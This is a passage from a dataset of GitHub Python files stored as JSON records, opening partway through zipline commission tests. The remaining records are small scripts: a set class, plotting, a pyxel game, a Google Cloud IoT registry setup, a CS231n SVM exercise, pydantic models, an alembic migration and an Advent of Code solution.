txns[2]))\n\n    def verify_per_share_commissions(self, model, commission_totals):\n        order, txns = self.generate_order_and_txns()\n\n        for i, commission_total in enumerate(commission_totals):\n            order.commission += model.calculate(order, txns[i])\n            self.assertAlmostEqual(commission_total, order.commission)\n            order.filled += txns[i].amount\n\n    def test_per_share_with_minimum(self):\n        # minimum is met by the first trade\n        self.verify_per_share_commissions(\n            PerShare(cost=0.0075, min_trade_cost=1),\n            [1.725, 3, 3.75]\n        )\n\n        # minimum is met by the second trade\n        self.verify_per_share_commissions(\n            PerShare(cost=0.0075, min_trade_cost=2.5),\n            [2.5, 3, 3.75]\n        )\n\n        # minimum is met by the third trade\n        self.verify_per_share_commissions(\n            PerShare(cost=0.0075, min_trade_cost=3.5),\n            [3.5, 3.5, 3.75]\n        )\n\n        # minimum is not met by any of the trades\n        self.verify_per_share_commissions(\n            PerShare(cost=0.0075, min_trade_cost=5.5),\n            [5.5, 5.5, 5.5]\n        )\n\n    def test_per_dollar(self):\n        model = PerDollar(cost=0.0015)\n\n        order, txns = self.generate_order_and_txns()\n\n        # make sure each commission is pro-rated\n        self.assertAlmostEqual(34.5, model.calculate(order, txns[0]))\n        self.assertAlmostEqual(25.755, model.calculate(order, txns[1]))\n        self.assertAlmostEqual(15.3, model.calculate(order, txns[2]))\n\n\nclass CommissionAlgorithmTests(WithDataPortal, WithSimParams, ZiplineTestCase):\n    # make sure order commissions are properly incremented\n\n    sidint, = ASSET_FINDER_EQUITY_SIDS = (133,)\n\n    code = dedent(\n        \"\"\"\n        from zipline.api import (\n            sid, order, set_slippage, slippage, FixedSlippage,\n            set_commission, commission\n        )\n\n        def initialize(context):\n            # for these tests, let us take out the entire bar with no price\n            # impact\n            set_slippage(slippage.VolumeShareSlippage(1.0, 0))\n\n            {0}\n            context.ordered = False\n\n\n        def handle_data(context, data):\n            if not context.ordered:\n                order(sid(133), {1})\n                context.ordered = True\n        \"\"\",\n    )\n\n    @classmethod\n    def make_equity_daily_bar_data(cls):\n        num_days = len(cls.sim_params.sessions)\n\n        return trades_by_sid_to_dfs(\n            {\n                cls.sidint: factory.create_trade_history(\n                    cls.sidint,\n                    [10.0] * num_days,\n                    [100.0] * num_days,\n                    timedelta(days=1),\n                    cls.sim_params,\n                    trading_calendar=cls.trading_calendar,\n                ),\n            },\n            index=cls.sim_params.sessions,\n        )\n\n    def get_results(self, algo_code):\n        algo = TradingAlgorithm(\n            script=algo_code,\n            env=self.env,\n            sim_params=self.sim_params\n        )\n\n        return algo.run(self.data_portal)\n\n    def test_per_trade(self):\n        results = self.get_results(\n            self.code.format(\"set_commission(commission.PerTrade(1))\", 300)\n        )\n\n        # should be 3 fills at 100 shares apiece\n        # one order split among 3 days, each copy of the order should have a\n        # commission of one dollar\n        for orders in results.orders[1:4]:\n            self.assertEqual(1, orders[0][\"commission\"])\n\n        self.verify_capital_used(results, [-1001, -1000, -1000])\n\n    def test_per_share_no_minimum(self):\n        results = self.get_results(\n            self.code.format(\"set_commission(commission.PerShare(0.05, None))\",\n                             300)\n        )\n\n        # should be 3 fills at 100 shares apiece\n        # one order split among 3 days, each fill generates an additional\n        # 100 * 0.05 = $5 in commission\n        for i, orders in enumerate(results.orders[1:4]):\n            self.assertEqual((i + 1) * 5, orders[0][\"commission\"])\n\n        self.verify_capital_used(results, [-1005, -1005, -1005])\n\n    def test_per_share_with_minimum(self):\n        # minimum hit by first trade\n        results = self.get_results(\n            self.code.format(\"set_commission(commission.PerShare(0.05, 3))\",\n                             300)\n        )\n\n        # commissions should be 5, 10, 15\n        for i, orders in enumerate(results.orders[1:4]):\n            self.assertEqual((i + 1) * 5, orders[0][\"commission\"])\n\n        self.verify_capital_used(results, [-1005, -1005, -1005])\n\n        # minimum hit by second trade\n        results = self.get_results(\n            self.code.format(\"set_commission(commission.PerShare(0.05, 8))\",\n                             300)\n        )\n\n        # commissions should be 8, 10, 15\n        self.assertEqual(8, results.orders[1][0][\"commission\"])\n        self.assertEqual(10, results.orders[2][0][\"commission\"])\n        self.assertEqual(15, results.orders[3][0][\"commission\"])\n\n        self.verify_capital_used(results, [-1008, -1002, -1005])\n\n        # minimum hit by third trade\n        results = self.get_results(\n            self.code.format(\"set_commission(commission.PerShare(0.05, 12))\",\n                             300)\n        )\n\n        # commissions should be 12, 12, 15\n        self.assertEqual(12, results.orders[1][0][\"commission\"])\n        self.assertEqual(12, results.orders[2][0][\"commission\"])\n        self.assertEqual(15, results.orders[3][0][\"commission\"])\n\n        self.verify_capital_used(results, [-1012, -1000, -1003])\n\n        # minimum never hit\n        results = self.get_results(\n            self.code.format(\"set_commission(commission.PerShare(0.05, 18))\",\n                             300)\n        )\n\n        # commissions should be 18, 18, 18\n        self.assertEqual(18, results.orders[1][0][\"commission\"])\n        self.assertEqual(18, results.orders[2][0][\"commission\"])\n        self.assertEqual(18, results.orders[3][0][\"commission\"])\n\n        self.verify_capital_used(results, [-1018, -1000, -1000])\n\n    def test_per_dollar(self):\n        results = self.get_results(\n            self.code.format(\"set_commission(commission.PerDollar(0.01))\", 300)\n        )\n\n        # should be 3 fills at 100 shares apiece, each fill is worth $1k, so\n        # incremental commission of $1000 * 0.01 = $10\n\n        # commissions should be $10, $20, $30\n        for i, orders in enumerate(results.orders[1:4]):\n            self.assertEqual((i + 1) * 10, orders[0][\"commission\"])\n\n        self.verify_capital_used(results, [-1010, -1010, -1010])\n\n    def verify_capital_used(self, results, values):\n        self.assertEqual(values[0], results.capital_used[1])\n        self.assertEqual(values[1], results.capital_used[2])\n        self.assertEqual(values[2], results.capital_used[3])\n","repo_name":"LiuFang816/SALSTM_py_data","sub_path":"python/quantopian_zipline/zipline-master/tests/test_commissions.py","file_name":"test_commissions.py","file_ext":"py","file_size_in_byte":8747,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"}
+{"seq_id":"16928390894","text":"\r\n'''La union de dos conjuntos, es un nuevo conjunto con los elementos de ambos conjuntos, si un\r\nelemento está repetido, va una sola vez en el resultado: Ejemplo: Si A=[1,2,3], B=[2,4,6,8] entonces\r\nA+B será [1,2,4,6,8]. La resta de dos conjuntos, es un nuevo conjunto con los elementos del primer\r\nconjunto que no esté en el segundo conjunto. Ejemplo: Si A=[1,2,3], B=[2,4,6,8] entonces A-B será [1,3]\r\n'''\r\n\r\nclass Conjunto:\r\n    __lista = []\r\n\r\n    def __init__(self):\r\n        self.__lista = []\r\n\r\n    def mostrar(self):\r\n        print('lista {}'.format(self.__lista))\r\n\r\n\r\n    def cargarConjunto(self,cadena):\r\n        for i in range(len(cadena)):\r\n            self.__lista.append(int(cadena[i]))\r\n\r\n    def getElem(self):\r\n        cadena =[]\r\n        for i in range(len(self.__lista)):\r\n            cadena.append(self.__lista[i])\r\n        return cadena\r\n\r\n    @classmethod\r\n    def buscarElem(cls,lista,ele):\r\n        bandero = False\r\n        for i in range(len(lista)):\r\n            if ele == lista[i]:\r\n                bandero = True\r\n        return bandero\r\n\r\n    def __add__(self, other):\r\n        if type(other) == Conjunto:\r\n            lista1 = self.getElem()\r\n            j = 0\r\n            p = len(lista1)\r\n            for i in range(p):\r\n                bandera = Conjunto.buscarElem(other.__lista,lista1[j])\r\n                if bandera:\r\n                    lista1.pop(j)\r\n                    j -= 1\r\n                bandera = False\r\n                j += 1\r\n            lista_n = lista1 + other.__lista\r\n            conjunto = Conjunto()\r\n            conjunto.cargarConjunto(lista_n)\r\n            return conjunto\r\n\r\n    def __sub__(self, other):\r\n        if type(other) == Conjunto:\r\n            lista1 = self.getElem()\r\n            j = 0\r\n            p = len(lista1)\r\n            for i in range(p):\r\n                bandera = Conjunto.buscarElem(other.__lista,lista1[j])\r\n                if bandera:\r\n                    lista1.pop(j)\r\n                    j -= 1\r\n                bandera = False\r\n                j += 1\r\n            lista_n = lista1\r\n            conjunto = Conjunto()\r\n            conjunto.cargarConjunto(lista_n)\r\n            return conjunto\r\n\r\n    def __eq__(self, other):\r\n        if type(other) == Conjunto:\r\n            i= 0\r\n            bandera = False\r\n            if len(self.__lista) == len(other.__lista):\r\n                bandera = True\r\n                while bandera and i < len(self.__lista):\r\n                    bandera = Conjunto.buscarElem(other.__lista, self.__lista[i])\r\n                    i += 1\r\n            return bandera\r\n\r\n\r\n\r\n","repo_name":"rodrigoo730/ejercicio8_un2","sub_path":"claseConjunto.py","file_name":"claseConjunto.py","file_ext":"py","file_size_in_byte":2592,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"3503434786","text":"import csv\nimport matplotlib.pyplot as plt\nprm = []\nbezier = []\nwith open('C:\\\\Users\\\\HP\\\\projects\\\\PathPlanning\\\\build\\\\time.csv', 'r') as f:\n    reader = csv.reader(f)\n    for i in reader:\n        prm.append(int(i[0]))\n        bezier.append(int(i[1]))\n\nx = []\ny = []\nfor i in range(41):\n    x.append(i)\n    y.append(sum(bezier[i*100:(i+1)*100])/100)\nplt.plot(x,y)\nplt.show()\n    ","repo_name":"FlowCan/PathPlanning","sub_path":"build/plottime.py","file_name":"plottime.py","file_ext":"py","file_size_in_byte":381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"12938332802","text":"# -*- coding: UTF-8 -*-\nimport os\n\ndirpath = '/Users/sunjunjiao/Documents/Beam_pumping_unit_data/BPUtrain200809test/image_valid'\nsavepath = '/Users/sunjunjiao/Documents/Beam_pumping_unit_data/BPUtrain200809test'\ntargetfile = 'BPUvalid200809.txt'\n\n\ndef is_image(fn):\n    return os.path.splitext(fn)[-1] in (\n        '.jpg', '.JPG', '.png', '.PNG')\n\n\ndef main():\n    imagelist = []\n    for r, ds, fs in os.walk(dirpath):\n        for fn in fs:\n            if not is_image(fn):\n                continue\n            fname = os.path.join(r, fn)\n            print(fname)\n            imagelist.append(fname)\n    if not imagelist:\n        print('image not found')\n        return\n    # target = os.path.join(dirpath, targetfile)\n    target = os.path.join(savepath, targetfile)\n    with open(target, 'w') as f:\n        f.write('\\n'.join(imagelist))\n    print('the path of images have been wirte to',\n          target)\n\n\nif __name__ == '__main__':\n    main()","repo_name":"SunJJ1996/BPU_project","sub_path":"p_imagepath.py","file_name":"p_imagepath.py","file_ext":"py","file_size_in_byte":946,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"19731551116","text":"#!/usr/bin/env python3\n\nimport json\nimport operator\nfrom os.path import expanduser\nfrom collections import defaultdict\n\ndef in_first_br(title):\n    left_br = title.find('[')\n    if left_br > -1:\n        right_br = title.find(']', left_br)\n        return title[left_br+1:right_br]\n\n    return None\n\ndef tag(event):\n    tags = []\n    binary = event['cmd'][0:event['cmd'].index('\\0')]\n\n    if 'python' in binary and 'qutebrowser' in event['cmd']:\n        br = in_first_br(event['title'])\n        if br is not None:\n            tags.append(\"tag:\" + br)\n        tags.append(\"browser\")\n    elif 'IntelliJIdea' in event['cmd']:\n        br = in_first_br(event['title'])\n        if br is not None:\n            tags.append(br)\n        tags.append(\"coding\")\n    elif 'x-terminal-emulator' == binary:\n        tags.append(\"terminal\")\n    elif 'emacs' == binary:\n        tags.append(\"emacs\")\n    elif \"Telegram\" == binary:\n        tags.append(\"telegram\")\n    else:\n        tags = ['unknown']\n        # print(json.dumps(event))\n\n    return tags\n\nf = open(expanduser('~/.events/focus'), 'r')\nevent = None\nactivities = []\ntags = defaultdict(int)\nfor line in f:\n    next_event = json.loads(line)\n    if event:\n        ev_len = next_event['ts'] - event['ts']\n        if ev_len > 0 and event['cmd'] != 0:\n            a = {\n                'tags' : tag(event),\n                'ts'   : event['ts'],\n                'len'  : ev_len\n            }\n            # activities.push(a)\n            for t in a['tags']:\n                tags[t] += a['len']\n\n    event = next_event\n\nfor k,v in sorted(tags.items(), key=operator.itemgetter(1)):\n    print(\"{:>40} {:<10}\".format(k, v))\n","repo_name":"sarg/dotfiles","sub_path":"bin/.local/bin/stats.py","file_name":"stats.py","file_ext":"py","file_size_in_byte":1651,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"21"}
+{"seq_id":"70425265972","text":"from bparser.boolparser import BooleanParser\nfrom bparser.tseitin_generator import TseitinFormula\nimport time\n\n\ndef simple_tests():\n    formulas = {\n        '(a || b) && c || !(d && e)': 'string',\n        '(!(p && (q || !r)))': 'string',\n        '(a && b) || (a && !c)': 'string',\n        '(a && b) or ((c || d) and e)': 'string',\n        'src/data/simple_dnf_0.dnf': 'file',\n        'src/data/formula.txt': 'file',\n        'a and !a': 'string',\n        '!x1 and x2 or x1 and !x2 or !x2 and x3': 'string',\n        '!a and a': 'string'\n    }\n\n    for test_id, (formula_value, formula_format) in enumerate(formulas.items()):\n        print(\"\\n=============== TEST %d ===============\\n\" % (test_id))\n\n        # file_name = \"simple_cnf_\" + str(test_id)\n        # formula = TseitinFormula(\n        #     formula=formula_value, formula_format=formula_format, export_to_file=True, export_file_name=file_name)\n\n        formula = TseitinFormula(\n            formula=formula_value, formula_format=formula_format, export_to_cnf_file=True, debug=True, interrupt_time=4, return_all_assignments=True)\n\n        # only for debug purposes\n        # print(formula.getSolverReport())\n\n\ndef advanced_test():\n    print(\"\\n=============== ADVANCED TEST ===============\\n\")\n\n    files_map = {\n        0: 'src/data/easy-sat-0.cnf',\n        1: 'src/data/easy-sat-1.cnf',\n        2: 'src/data/easy-unsat-0.cnf',\n        3: 'src/data/easy-unsat-1.cnf',\n        4: 'src/data/medium-sat-0.cnf',\n        5: 'src/data/medium-sat-1.cnf',\n        6: 'src/data/medium-sat-2.cnf',\n        7: 'src/data/medium-sat-3.cnf',\n        8: 'src/data/medium-unsat-0.cnf',\n        9: 'src/data/medium-unsat-1.cnf',\n        10: 'src/data/medium-unsat-2.cnf',\n        11: 'src/data/medium-unsat-3.cnf',\n        12: 'src/data/hard-sat-0.cnf',\n        13: 'src/data/hard-sat-1.cnf',\n        14: 'src/data/hard-sat-2.cnf',\n        15: 'src/data/hard-sat-3.cnf',\n        16: 'src/data/hard-unsat-0.cnf',\n        17: 'src/data/hard-unsat-1.cnf',\n        18: 'src/data/hard-unsat-2.cnf',\n        19: 'src/data/hard-unsat-3.cnf',\n        20: 'src/data/very-hard-sat.cnf',\n        21: 'src/data/very-hard-unsat.cnf'\n    }\n\n    input_file_name = files_map[21]\n    _ = TseitinFormula(formula=input_file_name,\n                       formula_format='file', export_to_cnf_file=True, debug=True)\n\n\nif __name__ == \"__main__\":\n    # tests for very simple formulas\n    simple_tests()\n\n    # tests for large formulas\n    # advanced_test()\n","repo_name":"danielrubak/tseitin-transformation","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"6970645734","text":"import pyxel\n\nclass Player:\n    def __init__(self, x: int, y: int):\n        self.x = x\n        self.y = y\n        \n        self.longueur = 13\n        self.taille = 16\n        \n        self.centre = (self.longueur // 2, self.taille // 2)\n        \n        self.u = 0\n        self.v = 0\n        \n        self.chute = False\n        self.t = 0 # Temps du saut en mont\n        \n    def mouvement(self):\n        self.y += 1\n        \n        if self.t > 0:\n            self.t -= 1\n            self.y -= 2\n        \n        if pyxel.btnp(pyxel.KEY_SPACE) and not self.chute:\n            self.chute = True\n            self.t = 30\n            \n        elif pyxel.btn(pyxel.KEY_A):\n            self.x -= 1\n            \n        elif pyxel.btn(pyxel.KEY_D):\n            self.x += 1\n            \n        elif pyxel.btn(pyxel.KEY_W):\n            self.y -= 1\n            \n        elif pyxel.btn(pyxel.KEY_S):\n            self.y += 1\n        \nclass Bloc:\n    def __init__(self, x: int, y: int, u: int, v: int):\n        self.x = x\n        self.y = y\n        \n        self.u = u\n        self.v = v\n        \n    def collision(self, other):\n        if ( self.x < other.x + other.longueur ) and\\\n           ( self.y < other.y + other.taille ) and\\\n           ( self.x + 16 > other.x) and\\\n           ( self.y + 16 > other.y):\n            \n            if other.y + 15 == self.y:\n                other.y -= (other.y % 16)\n                if other.t < 30:\n                    other.chute = False\n                \n            elif (self.y + 15) <= other.y <= (self.y + 16):\n                other.y = self.y + 16\n                other.t = 0\n                \n            elif other.x - other.longueur == self.x + 1:\n                other.x = self.x - other.longueur\n            \n            elif other.x <= self.x:\n                other.x = self.x - other.longueur\n                \n            elif (self.x + 15) <= other.x <= (self.x + 16):\n                other.x = self.x + 16\n            \n            return True\n\n","repo_name":"JanaFTouni/PROJETNSI_TERM_T2","sub_path":"Tests - Mario/03/classes.py","file_name":"classes.py","file_ext":"py","file_size_in_byte":1988,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"10033468968","text":"from google.api_core.exceptions import AlreadyExists\nfrom google.api_core.exceptions import NotFound\nimport manager\nimport json\nimport os\n\n\n# Set environment variable\nif \"GOOGLE_APPLICATION_CREDENTIALS\" not in os.environ:\n    os.environ[\"GOOGLE_APPLICATION_CREDENTIALS\"] = \"project-credentials.json\"\n\n# Load config\nwith open(\"config.json\", \"r\") as fd:\n    config = json.loads(fd.read())\n\nmy_id = config[\"my_id\"]\nproject_id = config[\"project_id\"]\nservice_account_json = config[\"service_account_json\"]\ncloud_region = config[\"cloud_region\"]\n\n# Registry parameters\nregistry_id = f\"registre-{my_id}\"\ndefault_topic_id = f\"flood_{my_id}\"\ndefault_pubsub_topic = f\"projects/{project_id}/topics/{default_topic_id}\"\nsubfolders_topic_id = [{\"topic_id\": f\"weather_station_{my_id}\", \"subfolder\": \"weather_station\"},\n                       {\"topic_id\": f\"canal_cleaner_{my_id}\", \"subfolder\": \"canal_cleaner\"}]\n\n\ndef create_topic(project_id, topic_id):\n    try:\n        manager.create_iot_topic(project_id, topic_id)\n        print(\"Topic created\")\n    except AlreadyExists:\n        print(f\"Topic '{topic_id}' already exist. Skip.\")\n\n\ndef main():\n    # Create PubSub topics if not exist\n    event_notification_configs = []\n    for topic in subfolders_topic_id:\n        pubsub_topic = f\"projects/{project_id}/topics/{topic['topic_id']}\"\n        event_notification_configs.append({\"pubsub_topic_name\": pubsub_topic,\n                                           \"subfolder_matches\": topic['subfolder']})\n        print(f\"Creating PubSub topic {pubsub_topic}...\")\n        create_topic(project_id, topic['topic_id'])\n    event_notification_configs.append({\"pubsub_topic_name\": default_pubsub_topic})\n    print(f\"Creating PubSub topic {default_pubsub_topic}...\")\n    create_topic(project_id, default_topic_id)\n\n    # Create registry if not exist\n    print(f\"Creating registry {registry_id}...\")\n    try:\n        manager.get_registry(service_account_json, project_id, cloud_region, registry_id)\n        print(f\"Registry already exist. Skip.\")\n    except NotFound:\n        response = manager.create_registry_v2(service_account_json, project_id, cloud_region, default_pubsub_topic,\n                                   registry_id, event_notification_configs)\n        print(response)\n\n\nif __name__ == '__main__':\n    main()","repo_name":"maskebe/iot","sub_path":"create_registry.py","file_name":"create_registry.py","file_ext":"py","file_size_in_byte":2292,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"5969546261","text":"from __future__ import print_function\nimport random\nimport numpy as np\nfrom cs231n.data_utils import load_CIFAR10\nimport matplotlib.pyplot as plt\nimport pickle\n\n# This is a bit of magic to make matplotlib figures appear inline in the\n# notebook rather than in a new window.\nplt.rcParams['figure.figsize'] = (10.0, 8.0) # set default size of plots\nplt.rcParams['image.interpolation'] = 'nearest'\nplt.rcParams['image.cmap'] = 'gray'\n\ncifar10_dir = 'assignment1/cs231n/datasets/cifar-10-batches-py'\nX_train, y_train, X_test, y_test = load_CIFAR10(cifar10_dir)\n\nclasses = ['plane', 'car', 'bird', 'cat', 'deer', 'dog', 'frog', 'horse', 'ship', 'truck']\nnum_classes = len(classes)\nsamples_per_class = 7\n\nnum_training = 49000\nnum_validation = 1000\nnum_test = 1000\nnum_dev = 500\n\n# Our validation set will be num_validation points from the original\n# training set.\nmask = range(num_training, num_training + num_validation)\nX_val = X_train[mask]\ny_val = y_train[mask]\n\n# Our training set will be the first num_train points from the original\n# training set.\nmask = range(num_training)\nX_train = X_train[mask]\ny_train = y_train[mask]\n\n# We will also make a development set, which is a small subset of\n# the training set.\nmask = np.random.choice(num_training, num_dev, replace=False)\nX_dev = X_train[mask]\ny_dev = y_train[mask]\n\n# We use the first num_test points of the original test set as our\n# test set.\nmask = range(num_test)\nX_test = X_test[mask]\ny_test = y_test[mask]\n\n# Preprocessing: reshape the image data into rows\nX_train = np.reshape(X_train, (X_train.shape[0], -1))\nX_val = np.reshape(X_val, (X_val.shape[0], -1))\nX_test = np.reshape(X_test, (X_test.shape[0], -1))\nX_dev = np.reshape(X_dev, (X_dev.shape[0], -1))\n\nmean_image = np.mean(X_train, axis=0)\nX_train -= mean_image\nX_val -= mean_image\nX_test -= mean_image\nX_dev -= mean_image\n\nX_train = np.hstack([X_train, np.ones((X_train.shape[0], 1))])\nX_val = np.hstack([X_val, np.ones((X_val.shape[0], 1))])\nX_test = np.hstack([X_test, np.ones((X_test.shape[0], 1))])\nX_dev = np.hstack([X_dev, np.ones((X_dev.shape[0], 1))])\n\nfrom cs231n.classifiers.linear_svm import svm_loss_naive\nimport time\n\n# generate a random SVM weight matrix of small numbers\nW = np.random.randn(3073, 10) * 0.0001 \n\"\"\" \nloss, grad = svm_loss_naive(W, X_dev, y_dev, 0.000005)\nprint('loss: %f' % (loss, )) \"\"\"\n\n\"\"\" # Compute the loss and its gradient at W.\nloss, grad = svm_loss_naive(W, X_dev, y_dev, 0.0)\n\n# Numerically compute the gradient along several randomly chosen dimensions, and\n# compare them with your analytically computed gradient. The numbers should match\n# almost exactly along all dimensions.\nfrom cs231n.gradient_check import grad_check_sparse\nf = lambda w: svm_loss_naive(w, X_dev, y_dev, 0.0)[0]\ngrad_numerical = grad_check_sparse(f, W, grad)\n\n# do the gradient check once again with regularization turned on\n# you didn't forget the regularization gradient did you?\nloss, grad = svm_loss_naive(W, X_dev, y_dev, 5e1)\nf = lambda w: svm_loss_naive(w, X_dev, y_dev, 5e1)[0]\ngrad_numerical = grad_check_sparse(f, W, grad) \"\"\"\n\n\"\"\" \ntic = time.time()\nloss_naive, grad_naive = svm_loss_naive(W, X_dev, y_dev, 0.000005)\ntoc = time.time()\nprint('Naive loss: %e computed in %fs' % (loss_naive, toc - tic))\n\nfrom cs231n.classifiers.linear_svm import svm_loss_vectorized\ntic = time.time()\nloss_vectorized, _ = svm_loss_vectorized(W, X_dev, y_dev, 0.000005)\ntoc = time.time()\nprint('Vectorized loss: %e computed in %fs' % (loss_vectorized, toc - tic))\n\n# The losses should match but your vectorized implementation should be much faster.\nprint('difference: %f' % (loss_naive - loss_vectorized)) \"\"\"\n\nfrom cs231n.classifiers import LinearSVM\n\ntic = time.time()\n\"\"\"\nloss_hist = svm.train(X_train, y_train, learning_rate=1e-7, reg=2.5e4,\n                      num_iters=1500, verbose=True)\ntoc = time.time()\nprint('That took %fs' % (toc - tic))\npickle.dump(loss_hist,open(r\"D:\\python\\CS231n\\assignment1\\loss_hist.txt\",\"wb\"))\n\"\"\"\n\"\"\" with open(r\"D:\\python\\CS231n\\assignment1\\loss_hist.txt\",\"rb\") as file:\n    loss_hist = pickle.load(file) \ny_train_pred = svm.predict(X_train)\nprint('training accuracy: %f' % (np.mean(y_train == y_train_pred), ))\ny_val_pred = svm.predict(X_val)\nprint('validation accuracy: %f' % (np.mean(y_val == y_val_pred), )) \"\"\"\n\n# Use the validation set to tune hyperparameters (regularization strength and\n# learning rate). You should experiment with different ranges for the learning\n# rates and regularization strengths; if you are careful you should be able to\n# get a classification accuracy of about 0.4 on the validation set.\nlearning_rates = [1e-7, 5e-6]\nregularization_strengths = [5e4,1e5]\n\n# results is dictionary mapping tuples of the form\n# (learning_rate, regularization_strength) to tuples of the form\n# (training_accuracy, validation_accuracy). The accuracy is simply the fraction\n# of data points that are correctly classified.\nresults = {}\nbest_val = -1   # The highest validation accuracy that we have seen so far.\nbest_svm = None # The LinearSVM object that achieved the highest validation rate.\n\n################################################################################\n# TODO:                                                                        #\n# Write code that chooses the best hyperparameters by tuning on the validation #\n# set. For each combination of hyperparameters, train a linear SVM on the      #\n# training set, compute its accuracy on the training and validation sets, and  #\n# store these numbers in the results dictionary. In addition, store the best   #\n# validation accuracy in best_val and the LinearSVM object that achieves this  #\n# accuracy in best_svm.                                                        #\n#                                                                              #\n# Hint: You should use a small value for num_iters as you develop your         #\n# validation code so that the SVMs don't take much time to train; once you are #\n# confident that your validation code works, you should rerun the validation   #\n# code with a larger value for num_iters.                                      #\n################################################################################\nfor learning_rate in learning_rates:\n    for regularization_strength in regularization_strengths:\n        svm = LinearSVM()\n        loss_hist = svm.train(X_train, y_train, learning_rate, regularization_strength,\n                      num_iters=1500, verbose=True)\n        y_train_pred = svm.predict(X_train)\n        y_val_pred = svm.predict(X_val)\n        train_accuracy, val_accuracy = np.mean(y_train_pred==y_train),np.mean(y_val==y_val_pred)\n        results[(learning_rate,regularization_strength)] = (train_accuracy,val_accuracy)\n        \n        if val_accuracy>best_val:\n            best_val = val_accuracy\n            best_svm = svm\n################################################################################\n#                              END OF YOUR CODE                                #\n################################################################################\n    \n# Print out results.\nfor lr, reg in sorted(results):\n    train_accuracy, val_accuracy = results[(lr, reg)]\n    print('lr %e reg %e train accuracy: %f val accuracy: %f' % (\n                lr, reg, train_accuracy, val_accuracy))\n    \nprint('best validation accuracy achieved during cross-validation: %f' % best_val)","repo_name":"yijingx/CS231n","sub_path":"assignment1/svm.py","file_name":"svm.py","file_ext":"py","file_size_in_byte":7402,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"5549618256","text":"from pydantic import BaseModel, Field\nfrom enum import Enum\nimport datetime\n\n\nclass User(BaseModel):\n    NIK: str = Field(..., min_length=16, max_length=16, regex='^[0-9]+$')\n    nama: str\n    profile: str | None = None\n\n\nclass Record(BaseModel):\n    tanggal: str = str(datetime.date.today())\n    waktu: str = str(datetime.datetime.now().time())[:8]\n    lokasi: str | None = Field(None, max_length=100)\n    suhu_tubuh: float\n\n\nclass Sort(str, Enum):\n    asc = \"ASC\"\n    desc = \"DESC\"\n","repo_name":"airellzulkarnain/P1_UKK_BACKEND","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":484,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"895512246","text":"\"\"\"table api requests removed\n\nRevision ID: afb274284dfc\nRevises: 97a5ed19b4e9\nCreate Date: 2022-07-27 21:07:18.594573\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'afb274284dfc'\ndown_revision = '97a5ed19b4e9'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n    op.drop_table('api_requests')\n\n\ndef downgrade() -> None:\n    op.create_table(\n        'api_requests',\n        sa.Column('id', sa.Integer, primary_key=True, autoincrement=True),\n        sa.Column('transactions_a_day', sa.Integer),\n        sa.Column('transactions_date', sa.DateTime(timezone=False))\n    )\n","repo_name":"gregory912/currency-exchange-app","sub_path":"database/alembic/versions/afb274284dfc_5-table_api_requests_removed.py","file_name":"afb274284dfc_5-table_api_requests_removed.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"42390844133","text":"#!/usr/local/bin/python3\n\n\ndef place_dots(arr: [(int, int)], rows: int, cols: int) -> [[str]]:\n    grid = [['.']*cols for _ in range(rows)]\n    for c, r in arr:\n        grid[r][c] = '#'\n    return grid\n\n\ndef fold_x(grid: [[str]], x: int) -> [[str]]:\n    folded = [['.']*x for _ in range(len(grid))]\n    for row in range(len(grid)):\n        for col in range(x):\n            if grid[row][x-1-col] == '#' or grid[row][x+1+col] == '#':\n                folded[row][x-1-col] = '#'\n    return folded\n\n\ndef fold_y(grid: [[str]], y: int) -> [[str]]:\n    folded = [['.']*len(grid[0]) for _ in range(y)]\n    for row in range(y):\n        for col in range(len(grid[0])):\n            if grid[y-1-row][col] == '#' or grid[y+1+row][col] == '#':\n                folded[y-1-row][col] = '#'\n    return folded\n\n\ndef main():\n    arr = []\n    folds = []\n    max_x = 0\n    max_y = 0\n    with open('input.txt') as f:\n        for line in f:\n            if line == '\\n':\n                continue\n            if not line.startswith('fold'):\n                x, y = tuple(map(int, line.rstrip().split(',')))\n                arr.append((x, y))\n            else:\n                f = line.rstrip().split(' ')[-1]\n                axis, index = f.split('=')[0], int(f.split('=')[1])\n                folds.append((axis, index))\n                if axis == 'x' and index > max_x:\n                    max_x = index\n                if axis == 'y' and index > max_y:\n                    max_y = index\n\n    paper = place_dots(arr, max_y*2+1, max_x*2+1)\n\n    for axis, index in folds:\n        if axis == 'x':\n            paper = fold_x(paper, int(index))\n        else:\n            paper = fold_y(paper, int(index))\n\n    for row in paper:\n        print(row)\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"nico-castro/advent-of-code","sub_path":"2021/13/q2_answer.py","file_name":"q2_answer.py","file_ext":"py","file_size_in_byte":1755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
